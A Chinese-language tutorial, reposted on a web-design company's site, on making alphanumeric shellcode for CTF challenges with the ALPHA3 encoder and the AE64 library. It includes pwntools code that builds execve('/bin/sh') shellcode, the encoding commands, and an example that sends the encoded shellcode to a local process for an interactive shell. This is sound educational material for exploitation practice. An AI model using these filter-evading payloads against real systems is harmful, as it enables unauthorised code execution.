本篇內(nèi)容介紹了“Shellcode生成方法是什么”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
為青州等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù),及青州網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都做網(wǎng)站、網(wǎng)站設(shè)計、青州網(wǎng)站設(shè)計,以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!
這個工具源碼在google上,國內(nèi)可以選擇從github下載。不過官方代碼在Linux環(huán)境下運行時有些問題:
% python ALPHA3.py Traceback (most recent call last): File "ALPHA3.py", line 4, in <module>import charsets, encode, io File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>import ALPHA3 File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>import x86, x64, test File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>raise OSError("Unsupported platform for testing."); OSError: Unsupported platform for testing.
看下報錯信息,發(fā)現(xiàn)錯誤在test/__init__.py
中,打開源碼,發(fā)現(xiàn)有個判斷平臺的代碼,如果不是win32
就報錯,解決方法很簡單,只需要把后兩行代碼注釋掉就行,修改如下:
if (sys.platform == 'win32'): # ... TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n" #else: # raise OSError("Unsupported platform for testing.");
再次運行就正常:
% python ALPHA3.py ____________________________________________________________________________ ,sSSs,,s, ,sSSSs, ALPHA3 - Alphanumeric shellcode encoder. dS" Y$P" YS" ,SY Version 1.0 alpha iS' dY ssS" Copyright (C) 2003-2009 by SkyLined. YS, dSb SP, ;SP <berendjanwever@gmail.com>`"YSS'"S' "YSSSY" http://skypher.com/wiki/index.php/ALPHA3 ____________________________________________________________________________ [Usage] ALPHA3.py [ encoder settings | I/O settings | flags ] # ...
修改完之后還需要編譯源碼,但是編譯源碼的工具也在google上,如果懶得自己編譯,可以直接下載我修改版: https://github.com/TaQini/alpha3
git clone https://github.com/TaQini/alpha3.git
from pwn import * context.arch='amd64' sc = shellcraft.sh() print asm(sc)
將上述代碼保存成sc.py
放到alpha3
目錄下,然后執(zhí)行如下命令生成待編碼的shellcode
文件
python sc.py > shellcode
默認(rèn)生成的是x64的
sys_execve("/bin/sh",0,0)
,可以修改成其他的arch或shellcode
生成x64 alpha shellcode
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
或者用我寫的腳本:
./shellcode_x64.sh rax
其中輸入文件為
shellcode
,rax
是用于編碼的寄存器(shellcode基址)
比如有如下代碼:
00101246 48 8d LEA RAX,[RBP + -0x410] 85 f0 fb ff 0010124d ff d0 CALL RAX ; ...
通過call rax跳轉(zhuǎn)到shellcode,那么alpha3命令中用于編碼的寄存器就是rax
shellcode的起始地址存在哪個寄存器中,用于編碼的寄存器就是哪個
alpha3中x64的shellcode只要上述mixedcase一種情況,x86的選項比較多:
x86 ascii uppercase (數(shù)字+大寫字母)
x86 ascii lowercase (數(shù)字+小寫字母)
x86 ascii mixedcase (數(shù)字+大小寫字母)
用法與x64相似,不贅述啦~
alpha3支持的所有編碼方式如下:
Valid base address examples for each encoder, ordered by encoder settings, are: [x64 ascii mixedcase] AscMix (r64) RAX RCX RDX RBX RSP RBP RSI RDI [x86 ascii lowercase] AscLow 0x30 (rm32) ECX EDX EBX [x86 ascii mixedcase] AscMix 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX] [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4] ECX+2 ESI+4 ESI+8 AscMix 0x30 (i32) (address) AscMix Countslide (rm32) countslide:EAX+offset~uncertainty countslide:EBX+offset~uncertainty countslide:ECX+offset~uncertainty countslide:EDX+offset~uncertainty countslide:ESI+offset~uncertainty countslide:EDI+offset~uncertainty AscMix Countslide (i32) countslide:address~uncertainty AscMix SEH GetPC (XPsp3) seh_getpc_xpsp3 [x86 ascii uppercase] AscUpp 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX] [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [x86 latin-1 mixedcase] Latin1Mix CALL GetPC call [x86 utf-16 uppercase] UniUpper 0x10 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX] [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
AE64是杭電的一位大師傅寫的工具,專用于生成64位的aplha shellcode。下載方式:
git clone https://github.com/veritas501/ae64.git
AE64的優(yōu)勢在于編碼時可以更加靈活地使用寄存器,但是生成的alpha shellcode比alpha3要更長一些。
此外AE64是python寫的,可以直接在python中調(diào)用,以下是官方的栗子:
from pwn import * from ae64 import AE64 context.log_level = 'debug' context.arch = 'amd64' p = process('./example1') obj = AE64() sc = obj.encode(asm(shellcraft.sh()),'r13') p.sendline(sc) p.interactive()
“Shellcode生成方法是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!
標(biāo)題名稱:Shellcode生成方法是什么
網(wǎng)站鏈接:http://muchs.cn/article38/pieopp.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營銷型網(wǎng)站建設(shè)、網(wǎng)站策劃、面包屑導(dǎo)航、網(wǎng)站內(nèi)鏈、網(wǎng)站導(dǎo)航、網(wǎng)站制作
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)